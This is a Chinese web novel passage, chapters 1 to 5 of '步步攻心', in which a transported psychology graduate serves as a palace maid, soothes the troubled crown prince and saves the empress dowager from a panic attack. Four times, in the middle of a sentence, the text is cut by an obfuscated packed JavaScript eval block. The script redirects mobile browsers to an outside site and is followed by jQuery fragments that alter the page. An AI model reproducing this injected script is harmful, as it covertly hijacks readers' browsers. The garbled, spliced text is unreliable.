《步步攻心》
1. 第 1 章
琉璃瓦映着浅淡曦光,乌鸦忽地抖擞黑羽,振翅一飞。
两名宫娥垂眸敛容,沿着宫墙根,款款而过。
行至拐角,耿秋竹猛地抓住应子清的手腕,将她拉到檐下深处。
应子清唬了一跳:“耿姐姐?怎么了?”
耿秋竹芳华不过二十七八,头发却白了一半,她目光很厉,瞅着应子清:“阿清,你求差事,怎么不先问我一声?”
应子清被她看得心中发紧,嗫嚅着,把来龙去脉解释一遍:“我想离开浣衣局,那里太苦了,便用功劳求尚宫局的姑姑,给我换一处清闲的地方。东宫正好出了缺,姑姑们顺手把我安排过来。我着急办成此事,倒是、倒是忘了告诉耿姐姐了。”
“是吗?”耿秋竹眼里浮起探究之色,随后她冲应子清温和一笑,“阿清,你是我同乡,我才告诉你实话,太子身边的宫女不好做。”
应子清用力点头,乖巧道:“嗯,我会努力的!”
见她傻乎乎的,没听出自己的意思,耿秋竹收起笑容,嫌弃地蹙了蹙眉。
耿秋竹左右张望,见附近无人,她冷不丁凑近应子清,声音压得很低:“你以为我为什么熬白头发?太子、太子、他是疯子!一个不小心,会死人的!”
应子清似是被惊吓到,脸色发了白,情不自禁地掩住嘴。
见她如此惊惧,耿秋竹暗暗耻笑,面上仍是严肃,口中警告道:“这种话胡说不得,我只告诉你。你的嘴可得严实点,知道吗?”
应子清忙不迭地点头,声音带着细微颤抖:“太子……很可怕吗?”
耿秋竹含糊其辞道:“他听不懂人话的!”
耿秋竹抱着双手,露出一副想告诉她,但又很为难的样子。
应子清慢了些许才反应过来,她拉住耿秋竹的衣袖,讨饶道:“好姐姐,您别生气,我并未刻意隐瞒。尚宫局的姑姑们身份尊贵,岂是我能随意攀附的。我求她们的时候,心里一直打鼓,不知道她们愿不愿意搭理我。通知我的当天,我才知道把我分去哪。要是我早知道,一定先来问问耿姐姐。”
此话诚恳在理,耿秋竹脸上的不悦,散去不少。
把早早准备好的银钱包,往耿秋竹手里一塞,应子清怯怯生笑了下:“既然小妹已经来了,少不得劳烦耿姐姐教教我。”
这些人情世故与话,是与应子清同住的宫女,教予她的。
果然,耿秋竹得了好处,笑意深了些。
两人站在檐下小声说话。
耿秋竹教了应子清很多东西。
比如太子一般会在晚间发疯,发疯时,都有哪些可怕的表现。
又比如,太子发疯时,会摔东西,要伤人,到那时,应子清该如何自保。
应子清把耿秋竹的嘱咐,牢牢记在心底。
-
五更天的晨钟敲响,浑厚的钟声在天地间回荡。
应子清抬起头,遥望远方的天色。
已有金色阳光从乌云透出来,看着,像是好日头。
换班的时辰到了,耿秋竹伺候太子一夜,要回去休息。
该应子清接班。
同耿秋竹告别,应子清回身眺望东宫的方向。
恰逢一群宫娥捧茶奉果,款款路过。
应子清收回眼神,学她们的样子,低头敛容,往东宫的方向走去。
待到无人的地方。
少女忽然舒展腰身,刚刚那副娇怯的神色,消失得一干二净。
应子清啧了声,伸手揉揉发僵的肩。
每天这么耸肩弓腰走路,肩周炎都要出来了!
应子清不是这个世界的人。
应子清的前世,是被人遗弃到孤儿院的,在各方的资助下读到大学。
她之所以学心理学专业,是觉得成长的道路上,碰见不少好心人帮扶。她受惠颇多,因而立下志愿,要帮助别人。
穿来前应子清刚刚毕业,还在四处投简历。
那天晚上,她找出一堆资料,准备特殊儿童学校的面试。看资料看得太辛苦,应子清倒在桌子上,睡着了。睁眼时,应子清穿进一个从未听说过的时空,成为大晋朝后宫,浣衣局一名不起眼的宫女。
“找到大晋朝覆灭之谜……”
“否则,苍生将陷入无尽苦难,你将与大晋朝同亡,时空不再容你存在……”
这两句话,从应子清醒来后,深深印在她的脑海里。
不知道是谁留给她的。
应子清原来生活的小蓝星,从没听说过晋朝,她对这个朝代一无所知。
不过,她清楚那两句话的分量。
她们这群孤苦无依的宫女,说得好听,是官家从良民百姓家采选来的。实际上呢?她们是家里人不要的。原身家里穷,双亲去世后,没了近亲,入宫倒是一条出路。
王朝倒了,皇宫不再,宫女们只能流离失所。
烽烟四起,战乱不息,她们又如何能护得自身?
更不要说灭国之后,天下的子民会经历何等灾难。
看来,她不仅要解开大晋朝覆灭之谜,还必须承担起,拯救黎民百姓的重任。
可是,谁会让大晋朝灭亡?
两句话信息量,实在太少。
应子清只能一边适应新生活,一边打听大晋朝的现状。
大晋朝当今皇帝庆帝,年老体衰,又缠绵病榻,他许久不上朝,听着像时日不多的样子。皇帝的子女稀少,东宫倒是立了一位太子,还未行冠礼。
把消息综合到一起,应子清便把目光,投向东宫。
看来,覆灭大晋朝的罪魁祸首,应该是耿秋竹口中的“疯太子”?
难道要她阻止太子登基?
凭她一介宫女?
不管怎么说,当务之急,就是到太子身边,伺机而动。
-
轻轻推开东宫角门,应子清按照宫女的规矩,沿着墙脚根走。
因着无人,她稍微大胆些,抬眼打量四周的环境。
主殿朱门雄伟,廊柱高耸,梁枋错彩镂金,显出皇家气派。
然而越往里走,应子清越觉得心惊。
东西两厢配殿镶金嵌银,新颖奢华,甚至华美到夸张的地步。
可是,绕过明窗暖阁,过了穿堂,入目便是剥落的墙皮。
如此对比,叫人心生疑惑。
应子清小心翼翼走在开裂的地砖上,拿出巾帕掩了掩鼻子。
这里处处散发一股陈旧的气味,透着靡丽又破败的古怪气息。
越接近寝宫,应子清越能感觉到,某种阴暗压抑的氛围。
寝宫大殿的正门,有几道深深的纹路,像是剑伤。
结合耿秋竹形容“疯太子”发作时的情况,这些剑痕,应该是太子所为。
应子清边看边琢磨,没注意脚边有东西。
她稍稍挪开一步。
“喀嚓”,好清脆的声音。
糟糕,她踩碎什么物件!
应子清心里咯噔一下,蹲下去检查。
是只竹蜻蜓。
翅膀是竹片削的,被应子清踩掉一只。
竹蜻蜓做的简陋,看起来颇有些年头,就算不被应子清碰坏,估计也撑不了多长时间。
应子清心虚,赶紧捡起来,准备扔掉。
岂料,寝殿宫门忽然自己开了。
阴冷的幽风,从门缝钻出来,带出一股甜腻浓郁的薰香味。
里面走出一个少年。
他个子高挑,用金玉系了高挑马尾,剩下一半微长的卷发,披散在腰。
少年眼睛狭长,眸光深沉且黑。
他微微垂眸,看着应子清手里捧着的物什。
“竹蜻蜓,坏了……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358253|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿娘,留给我,遗物。”少年嗓音低沉,磕磕巴巴说着,神色藏着浓浓的难过。
应子清愣住。
不管怎么说,这是人家妈妈留的遗物!
就这么……被她踩坏了?!
应子清心里涌起懊悔,连忙解释:“我、我应该能修!”
“你,修?”少年转过脸,望着她。
应子清注意到少年的语调,很奇怪,他是一个字一个词吐的,好像不能连贯起来说话。
少年低下头,认真想了想,抬起眼,冷然命令:“修,给我修!”
好霸道的气势。
对方虽然个子高,可是年纪看着比她小,听着像小朋友发脾气。
要不然,冲他这不客气的语气,应子清必定掉头就走。
不过应子清认命叹气,谁叫她做错事,还被抓个正着。
应子清检查手里竹蜻蜓,不过是掉只翅膀,凑合黏一下,还能黏回去。
“行吧。”应子清说,“我有办法修好,咱们找个地方修你的竹蜻蜓。”
少年用力点头:“走!”
两人在宫殿的外间,找个亮堂的地方。
阳光晒着,少年趴在石桌上,眼睛一眨不眨,盯着应子清的手。
他大气也不敢出,唯恐应子清一个手抖,把他的竹蜻蜓掰坏。
在他的注视下,应子清也有点紧张。
不过还好,应子清心灵手巧,不到两刻钟,利落修好了。
“给,你看看?”应子清递给少年。
少年珍重地接过,捧在手心里,仔细查看。
竹蜻蜓翅膀那方关节被她踩坏了,应子清拿着刀,细细刻出新的衔接之处,又加了树胶,黏得比之前牢固。
不等应子清放下心来,眼前的少年,突然把桌上的物什打落。
哐当!
陶瓷碎了一地。
少年从腰间取下匕首,雪亮银光一闪,刀尖直指应子清。
“你,骗我!”少年怒目而视。
突如其来的举动,把应子清吓一跳:“我哪里骗你了?”
“不对!这里,不一样!”少年指着应子清处理过的地方。
应子清无奈道:“你再仔细看看,这个地方本来就快断了。就算没有我的缘故,要不了多久,它自己也会坏掉。”
少年并没有被说服,反而越发焦躁:“翅膀变了,阿娘打我!不能坏!”
刀尖闪烁寒芒,就在颈边晃动。
稍不注意,她说不定就命丧于此。
应子清蹙眉,这个少年情绪起伏太大,明显是易燃易爆的危险份子。
这种时刻,越叫他不要急,他越会着急。
应子清稳了稳心神,再抬眼时,她已换上柔和平静的语气,道:“坏了吗?”
她声音那样轻,那样柔,像夜里潺潺流淌的溪,要淌到人的心坎里。
少年有一瞬愣怔,随后唇线紧绷:“坏了!”
应子清松口气,只要他能对答,说明还没有愤怒到烧坏脑子,她自有办法掌握他。
应子清决定使用一项心理技巧,语言催眠,用平和的声音节奏,帮助对方放松情绪:“是坏了,可是你仔细看,我已经修好了。”
“没有!”少年有些急躁,“变了,不一样了!”
“但它变结实了,不是吗?”应子清一字一句地说,“你晃一晃它的翅膀,看看是不是能飞起来。”
不知道是不是环境太安静,应子清的嗓音带着一种魔力,听上去温和坚定,让人不自觉服从。
少年下意识按应子清的要求,轻轻摆动手中的竹蜻蜓。
竹蜻蜓震动翅膀,仿佛展翅欲飞,栩栩如生。
之前那种摇摇欲坠的残破感,没有了。
看起来,是修好了……
少年手一松,刀尖跟着垂下。
2. 第 2 章
虽然匕首放了下去,应子清仍不敢轻举妄动,她观察着少年的一举一动。
半晌,少年低声道歉:“其实,不想,拿刀指着你,可是我……生气……我、我控制不住。”
应子清大人有大量,不跟一个病患计较。
她没忽略刚刚少年的话,而是问:“你刚才说,你阿娘会打你?”
少年低低“嗯”了声。
他这么一回答,应子清反而迷惑。
刚才不是说,竹蜻蜓是他阿娘的遗物吗?
估计少年的娘亲经常打他,给他留下很重的心理阴影。
哪怕不在人世了,少年依然害怕她。
应子清以专业的心理学判断,这个少年应该患有严重的心理疾病。
有心疾,有语言障碍,童年悲惨,还被送进宫里做公公,真是可怜。
不过,这人到底是谁?
怎么会身藏匕首,在东宫行走自如?
哪知道,她在琢磨的同时,少年也在打量她。
“你?新,宫女?”少年目光跟狼一样,很亮,也很可怕。
“是啊,我是刚到东宫的宫女,我叫应子清。”应子清自然而然回答,她问,“你叫什么名字?在东宫做什么的?”
少年微一挑眉:“我?”
应子清点头:“说啊?”
这个问题,似乎把少年难度住了。
他想了半晌,终是给出一个名字:“刘……之衍。”
果然像古人的名字,文绉绉的。
应子清忍不住跟他打听:“刚才耿姐姐跟我说,太子睡下了,你出来的时候没吵醒他吧?”
少年露出古怪的表情,他盯着她看了好一会,摇头说:“不知。”
换班的时候,耿秋竹特意跟应子清交代,太子是吃了药睡下的。
那药掺了十足十的安神汤,太子喝了,能睡到明天下午。
不必担心他中途醒了,发了疯性。
因此,应子清自然以为,眼前的少年,是伺候太子的小太监。
看他年纪轻轻,身居高位的可能性比较大,估计和她一样,是打杂的小弟。
只不过他穿的衣服,倒是十分华丽。
应子清猜测,他可能比较受宠,特权比较多。
以后大家就是同事,应子清虽然没上过班,也知道要处好关系,于是换了副亲切的口吻:“刘之衍,我刚进东宫,很多事还不太懂,以后多多照顾啊!”
刘之衍嘴角微微一勾,似是笑了下:“好。”
应子清问了几个问题,打听打听东宫的工作环境。
刘之衍讲话困难,而且他好像刚到东宫不久,对这里的规矩不太熟悉。两人聊了一会,除了太子的作息和喜好,应子清什么都没问到。
应子清也不气馁,想了想说:“我今天刚入职,啊不是,刚到这里,还要去收拾住的地方。”
刘之衍没接话,只是看着她的眼睛。他发现应子清的一双眼睛生得极好,黑白分明,玻璃珠般清透。
应子清问:“下午你有时间吗?”
“时,间?”刘之衍疑惑反问,“时,辰?”
应子清眨了下眼,过了这些天,还是不习惯古代,她纠正自己的措辞:“如果你没有别的事,晚饭过后,我们见个面,我给你一样东西。”
刘之衍也不问是什么,点头道:“好。”
两人各自还有事情忙,应子清和陌生少年告别,转头去找新员工宿舍。
说是宿舍,其实是一间叫南苑的宅院,修得方正规矩。
为了方便宫女们来往照顾太子,南苑有条甬道,能直接通往太子的寝宫。
由于太子日常言行,异于常人,大概为了掩人耳目,在东宫伺候的宫女和太监并不多。
应子清从寝殿到南苑,一路上鸦雀无声,连人影都看不到。
这样倒是方便应子清做事。
应子清没有立刻进南苑,而是走到角落,从一群野草堆里挑挑拣拣,摘些草药和花瓣。
不到一刻钟,应子清做成一只香包。
清淡的白檀药香,幽幽逸出。
这是应子清从古书中,学到一种熏香疗法,叫青锁香风。
青锁是汉朝时期,装饰宫殿门窗的花纹。
“青锁香风”意思是,这种奇异的香味,会缭绕在佩戴者身上。
在华夏古代,香料和药草的使用非常普遍,尤其是宫廷和文人墨客,最喜欢焚香静心。
因为这种特殊草药的香味,有诸多奇效,其中一项,便是舒缓神经,安抚紧张情绪。
刘之衍这人,情绪起伏太大,把青锁香风戴在身上,可以助他安神,克制住焦躁的脾气。
应子清准备给他的,就是这个东西。
赠人玫瑰,手有余香,她想用自己的专业能力,帮一帮刘之衍。
除此之外,她也有自己的私心。
毕竟她要在东宫工作,和一个颇有权势的同事交好,百利无一害。
傍晚,夕阳西下。
应子清拿着做好的香包,出了宅院。
耿秋竹悄默声息,站在甬道口:“这么晚了,你去哪?”
夜色浓重,应子清乍然看到一团黑影,差点没惊呼出声:“宋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358254|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐姐!你怎么来了。”
耿秋竹上下打量她,勾起一个笑:“我来看看你收拾的怎么样了。”
“差不多了。”应子清笑了笑。
应子清的房间陈设简单,她也没带没多少东西,稍微打扫一遍,就能住下了。
“晚上不要乱跑。”耿秋竹嘱咐道,“虽说东宫的情况特殊,我们这些宫女做事,可以不必那么讲究。可这里到底是皇家,自有规矩在。”
“我知道的,”应子清乖巧答应。
耿秋竹没放过她,看着她问:“你手里拿的是什么?”
她的语气,莫名有种盘问的感觉。
应子清皱了下眉:“是香包,我给刘之衍送过去就回来。”
“谁?”耿秋竹疑惑。
“一个叫刘之衍的,”应子清解释,“我把这个香包给他,他以后心情会平和些。”
“刘之衍?”耿秋竹越问越糊涂,“我怎么没听说过这个人。”
“就是那个,讲话有些磕巴的小公公啊。”应子清理所当然道。
耿秋竹想了一想,摇头说:“东宫这种残缺之人多了,也不知道你说的哪一个。算了,你有这样的好心,我也不拦着,早去早回。”
应子清点了点头,转身离开。
不知道是不是错觉,应子清总觉得,耿秋竹在监视她的一举一动。
还是下午他们见面的地方。
应子清远远看见,那里黑压压跪了一群宫女太监,磕头碰脑,对着上位者行礼。
有一位少年,站在台阶之上,傲然俯视下方一众奴仆。
应子清正觉得那少年眼熟。
对方转过头,率先叫住她:“子清,过来。”
应子清:?????
刘之衍此时高高在上的姿态,霸道的气场,以及命令式的口吻,让她感觉不太美妙。
说好太监小公公呢?
该不会是她想的那样吧?
这时,里屋走出一个手拿拂尘的中年人,他是老太后身边的红人,叫康适。
康公公躬着身,冲刘之衍必恭必敬道:“太子殿下,太后说您在外面站久了,当心受了风,请您进去说话呢。”
刘之衍果然是太子!
应子清吃了一惊,又不禁暗恼,自己被耿秋竹的话给带偏了。
她以为太子喝了安神汤,肯定睡得死死的。
也怪她运气太旺。
谁能想到,她刚进东宫,随便碰到一个人,就是太子本尊!
怎么办!
这可是让大晋朝灭亡的罪魁祸首,她要阻止对方登基的敌人啊!
3. 第 3 章
“子清。”刘之衍向她伸手,示意到他身边。
要不是知道刘之衍讲话困难,懒得连名带姓地叫她应子清,别人说不定以为他们关系多好。
应子清硬着头皮,走到刘之衍身旁。
应子清一身普通的宫女打扮,大大咧咧往太子殿下身边一站。
太没规矩。
康公公瞪着一双眼,看着应子清。
见她还是没反应,他忍不住咳嗽几声。
应子清望过去,康公公伸出食指,向下指了指。
“哦哦,行礼是吧?”应子清连忙转身,屈膝对刘之衍,补了礼节。
礼节行至半途,刘之衍扶住她:“不必。”
随后,刘之衍抓住应子清手边的香包:“这个,给我?”
“对,我下午说送你的东西,就是这个。”应之清解释说,“它有个名字,叫青锁香风。你带上一段时间试试看,对你有好处。”
刘之衍眉梢轻轻一挑,拿在手里细看。
见刘之衍颇为喜欢,康公公急着上前劝解:“太子殿下,这等不入流的小物件,可不能随便带。您要真的喜欢,先让太医查过底细,再佩戴也不迟。”
这是有多看不起她送的东西,应子清顿时无语。
不过身为太子,刘之衍平日里的穿戴,无一不是最好的。
她做的这个香包,四四方方,布料是用最普通的粗棉布,还是她上次裁衣剩的边角料。因为应子清不会女工,所以连绣花也无。
和刘之衍腰间的金环玉佩相比,相当寒酸。
刘之衍无视康公公的阻拦,抬起手,闻了下香包的香气。
淡淡的白檀药香,直入肺腑。
刹那间,他整个人处于一种心旷神怡的豁朗感。
一直紧绷的神经,倏尔松缓,喉头的紧张感,消失了。
这是刘之衍有生以来,从未体验过的感觉,就像失明的人,第一次见到阳光。
长久以来,刘之衍因为心疾的问题,性格冲动易怒,说话磕巴,总是不受父皇的重视。连带着那些宫女太监们,也是有意无意地忽视他,欺负他。
如果应子清能帮他缓解心疾,这对他而言,不亚于新生。
刘之衍看着应子清,将香包攥得紧紧的:“我闻着很舒心,谢谢你。”
话说得这么顺畅?
应子清也没想到这个香包,作用起的这么快。
能帮到人,她心情很好,应子清笑了下。
但是她又转念想到,这是她的敌人……
她帮了敌人啊啊啊!
“太子殿下,外面风大,咱们进去吧,太后还等着呢。”康公公适时提醒一句。
刘之衍转身进去,见应子清呆在原地没动,于是说:“你和我一起。”
???
之前应子清四处打听,大晋朝中能影响局势的重要人物,其中一个,就是傅太后。
傅太后当年还是皇后的时候,后宫莺莺燕燕不少,她却能稳坐中宫,屹立二十年不倒,是极其厉害的女人。
刘之衍带她去见傅太后?
窝补药啊!
不等应子清在心里疯狂吐槽,严厉的康公公出声训她:“太子殿下发了话,你还愣着干什么,快走啊!”
康公公身边的太监宫女,一起抬起脸看她,目光骇人。
好像只要应子清不肯走,他们就会一齐上来,把她拖过去。
万恶封建主义社会!
形势迫人,应子清再不愿意,也只得跟在刘之衍身后。
已经有宫女上前,推开高耸的宫殿大门。
应子清跨过高高的门槛,第一次进入东宫寝殿。
她装作屏息敛神,实际上偷偷打量着周边的情况。
宫殿正中位置,宝座上,坐着一位四五十岁的妇人。
她肤色白皙,虽然有了年纪,但依稀能看出当年姣好容貌。
她慢条斯理品着茶,周围的宫女太监,捧茶奉果,大气也不敢喘一下。
这一位,必定是傅太后无疑。
果然,刘之衍径直走上前去,向傅太后行礼。
“我的乖孙儿,别跪,小心冷着膝盖。”傅太后一见来人,顿时笑容满面。
话还没说完,眼尖的傅太后马上发现刘之衍身边的宫女,她眼里闪过一丝惊艳:“好标致漂亮的小宫女,怎么看着眼生,不像你宫里的人?”
刘之衍点头:“嗯,今天刚来。”
傅太后笑了笑,对应子清招招手:“走近点,让我好好看看。”
应子清背脊一僵,她只想当个隐形人!怎么突然把她拉出来了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358255|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可惜,她拒绝不了命令,只得乖乖来到傅太后面前。
傅太后认认真真把她细细看一遍,瞧得应子清冷汗都快出来了。
她忽然冲刘之衍笑了声:“你刚才说,这孩子是今天来的?怪了,怎么也是今天。”
什么意思?
应子清眉头微微皱起,心底生出不详预感。
这时,旁边走出一位面容严厉的嬷嬷,她端着一方桌案,上面有一碗喝得只剩浅浅碗底的中药。
“冷芳,太子喝的东西,验了吗?怎么说?”傅太后出声询问。
应子清心里咯噔一下。
冷嬷嬷挺胸昂首,森然道:“回太后的话,验了。太子殿下日常服用的茶碗里,加了大量的安神汤。”
“可对身体有害?”傅太后说这话时,并未看冷嬷嬷,而是淡淡扫视一干人等。
“若只是一两次,自然无妨。可就是不知道,太子殿下喝了多少。”冷嬷嬷朗声回答,“是药三分毒,就怕太子殿下日日饮用此药,时日一长,便生了抗性,怎么喝都不再起作用了。”
康公公微微躬下身子:“我估摸着,这碗茶,太子是昨日喝下的,按道理应该昏昏沉沉。可太子看着……并无睡意。”
“那……”康公公声音低了下去,话里的内容,却叫所有人心里一紧,“像是日日饮用此药了。”
康公公话音刚落,满场寂静。
刘之衍眼神淡了。
傅太后狠狠抓紧扶手,指尖也泛了白,她冷冷勾起一个笑:“好哇,你们,就是这么伺候太子的!”
此话一出,除了应子清,东宫里所有太监宫女,扑通一声,跪了一地,磕头求饶不止。
傅太后的声音也不怎么高,可藏了好大的威势!
应子清差点腿软,跟着滚到地上去。
“你别怕,有我。”刘之衍微微俯身,在她耳侧,用两人能听到的声音说道。
应子清其实不怕,可她想起,这到底在古代。
她们这些宫女,皇家人要打要骂,跟处理物品一样便宜。
说不得,她犯了个错,冷不丁地就被弄死了。
刘之衍身为太子,有他这句话作保,她多少安了心。
只是,想到她对刘之衍目的不纯,应子清的心绪一时变得复杂。
4. 第 4 章
接下来的事情发生很快。
冷嬷嬷和康公公一唱一和,把东宫里的宫女太监,一个个揪出来查验。
不到片刻,数十个人被拖了下去,革职的革职,发配的发配。
因着应子清是才到的,历史清白,查验的名单里没有她。
而且,刘之衍挡在她面前,有种将她护在身后的意味。
她不过是送只寒酸的香包,刘之衍便如此回报,应子清不能说不感动。
旁观一会,应子清也看明白了。
皇帝久病不愈,皇后并非太子生母,自是有意无意地忽视,照料不周。
堂堂太子,因为年幼,且有隐疾,竟然被下人苛待成这样。
为了让他整日昏睡不闹事,堂而皇之给太子下安神汤。
傅太后特意来这一趟,是为了整顿东宫。
有些事,不去查,是风平浪静;一旦揪出来,那就是惊涛骇浪。
掌管格式推罚的司正走来,与冷嬷嬷聚在一起,说着什么话。
傅太后见她们窃窃私语,叫她们禀报上来。
冷嬷嬷有几分犹豫。
傅太后心情正是不耐烦,言语不免严厉:“有什么藏着掖着的,说!”
这种腌臜脏事,瞒是瞒不住的,冷嬷嬷叹口气,附耳告诉傅太后。
傅太后听了,不言不语,脸色却渐渐白了。
一开始,傅太后还没什么反应。
不到一刻钟,冷嬷嬷和康公公突然惊呼:“太后!您怎么了?”
众目睽睽之下,傅太后向后仰倒,竟是眼睛紧闭,口鼻大张。
然而不论傅太后怎么用力,她好像怎么都喘不上气,挣得满目通红。
眼看着,就是要活活憋死的样子。
如此骇人的模样,叫人看了害怕。
刘之衍急了,三步并作两步,嘶声道:“太后!”
傅太后何等强人,此时突然狼狈发作,也像带着威严。
倘若是普通人,应对这种突发情况,也不是没有办法,用冷水泼面,或是强行压制,可能会缓解,总比什么都不做的好。
但周围的人像热锅上的蚂蚁,急得团团转,他们只能束手无策地围在一边,不敢贸然对太后娘娘作不规矩的事。
冷嬷嬷着急得眼泪快下来了,额头全是成片的汗,高声喊着:“傻愣着干什么,让腿脚利落的,把太医请来!”
太医院距离东宫,尚有一段距离。
就算太医闻声赶来,也得两三刻钟,现代的半个多小时。
可是呼吸这种事,哪有等人的?
半个多小时,等太医到了,傅太后大概也凉了。
康公公稍微镇定点,也只是一点,他拉住身旁的小太监,五指禁不住发抖:“你素日机灵,去、去钦天监,请驱邪的法师,说不得太后是受了邪侵,犯了癔症!”
满场大乱,跑的跑,喊人的喊人。
应子清眉头凝的很深,在一旁冷静观察。
她发现,傅太后的表现,很像情绪失控导致恐慌发作。
她的症状很典型,应子清不会判断错误,而且她有诸多种治疗的方式。
唯一的问题是,她如何接近傅太后。
贵人的身体不可随便触碰。
应子清的身份只不过是卑微的宫女,就算她敢大胆上前出手治疗,也必定会被女官们打断。
刘之衍转过头来,似是从应子清脸上看出笃定,他忍不住问:“你是不是有主意?”
不怪刘之衍有此一问。
下午的时候碰见应子清,她只是说两三句话,便安抚下他控制不住的暴躁情绪。
之后,应子清和他聊了会天,出手送了只不起眼的香包,缓解了他说话磕巴的毛病。
刘之衍觉得,应子清身上,必定有过人之处。
应子清看着他:“你相信我吗?”
刘之衍却没有怀疑她,他黑曜般的眼睛,深沉地望着她:“太后是我在世上,最亲近的亲人,我不敢想,如果失去她,我会如何?”
“子清,你非医者,即使你什么也不做,我也不会怪你。可是,救人一命,胜造七级浮屠,若你能援手相助,我盼望你能救她。”
应子清愣住。
仿佛有一道惊雷,猛地从她脑海一闪而过。
也许,在原来的历史上,傅太后正是在这个时刻突发隐疾,撒手人寰。
结果导致,刘之衍本来严重的心疾,变本加厉。
以至于他后期继承皇位,依旧本性难改,甚至作恶多端,让大晋朝毁于一旦……
当然,这只是应子清的猜测。
不管怎么说,应子清做不到眼睁睁看着别人陷入困境,自己在一旁袖手旁观的。
“等太医和钦天监赶来,实在太晚。”应子清镇定道,“你相信我的话,就不要啰嗦,按我说的做。你让他们把太后移到屏风后面,只许你一个人陪在我身边。”
这是应子清仔细考虑过的。
如果让别人看到应子清对尊贵的太后动手动脚,定会忍不住干扰她的治疗。
“好。”刘之衍沉声答应。
事急从权,刘之衍果然干脆利落,当即站出来,指挥冷嬷嬷和康公公。
等一切事毕,冷嬷嬷不肯放心,坚持要看刘之衍和应之清如何施救。
她悄悄站在屏风的角落,也没什么妨碍,应子清懒得管她。
太后被安置在一张胡床上,双眼不能睁开,由于憋气憋了一段时间,已有些昏迷。
应子清用力按住她的人中穴,这个穴位能使人清醒,一般急救都会这么做。
在穴位强大的刺激下,傅太后迷离地睁开眼。
“听着,”应子清语气平稳,再度使
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358256|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用“语言催眠”,引导傅太后,“我知道你现在呼吸困难,你想活下去,我就回答我一个问题,你认识我吗?认识,就点一下头。”
尽管傅太后手无缚鸡之力,她骨子里,仍是那个强悍的妇人。
她眼中闪过犀利之色,似是在思考,这个卑微的宫女,为何能控制她!
片刻,傅太后微不可查地点下头。
看到她终于有所反应,应子清紧绷到极致的心,骤然松弛下来。
应子清继续进行下一个步骤:“好,你可能在心里疑惑,为什么你身边只有我。你再回忆一下,你是怎么来这里的?”
对啊,她在哪里?
傅太后眼里,忽然浮起迷惘之色,那迷惘之色像是冬天浓重的雾霭。
傅太后思索半晌,终于想起来了,她在她孙儿的东宫里,她正在整顿东宫!
她眨了几下眼睛,眼里的浓雾,渐渐有了消退的迹象。
“我知道你现在不能回答,”应子清问道,“可是你的手指,还能动吗?”
傅太后刚才点过一次头,有了路径依赖,这次她点头的力气,变大了。
应子清嘴角微微扬起:“好,我把一样东西放在你的手心里,我需要你感受一下。”
刘之衍看懂应子清的意思,解下腰间的玉佩。
应子清把玉佩,放在傅太后的掌心之中。
傅太后细细摩挲着,是一块摸着柔润,却质地十分坚硬的羊脂玉。
她想不通,为什么这个宫女会让她碰这个。
“玉,石之美者有五德。润泽以温,仁之方也;理自外,可以知中,义之方也;其声舒扬,专以远闻,智之方也;不挠而折,勇之方也;锐廉而不忮,洁之方也。”①
儿时读过的诗书,从记忆中苏醒。
玉,不论是寓意,还是触手生温的触感,都是很美好的感受。
她的心神,渐渐平定下来。
应子清骤然朗声道:“傅太后,你已经好了,起身吧!”
不啻雷音贯耳,傅太后被她的高声一震,吓得按住自己的胸口。
但是,就这么简单的动作惊醒她,她发现她在呼吸了!活动自如了!
冷嬷嬷飞似的跑过来,伏在傅太后的床边,喜极而泣:“太后,您醒了!您终于好了!”
应子清一举一动,皆摊开在刘之衍眼下,她一没装神弄鬼,二没用什么灵丹妙药,只是说两句话,傅太后竟毫发无伤,痊愈了!
这一招,堪比妙手回春。
如此神通广大,叫人叹服。
“你到底是怎么做到的?癔症这种侵邪之症,唯有钦天监法师有办法可解。我曾见过他们作法,被救回来的人从此痴呆忘事,效果远不如你。”刘之衍紧盯着她不放,“难道你有通神之能?”
应子清摇头:“这不是癔症,是恐慌症发作。”
5. 第 5 章
康公公进来,见苏醒的傅太后,顿时感动地热泪盈眶。
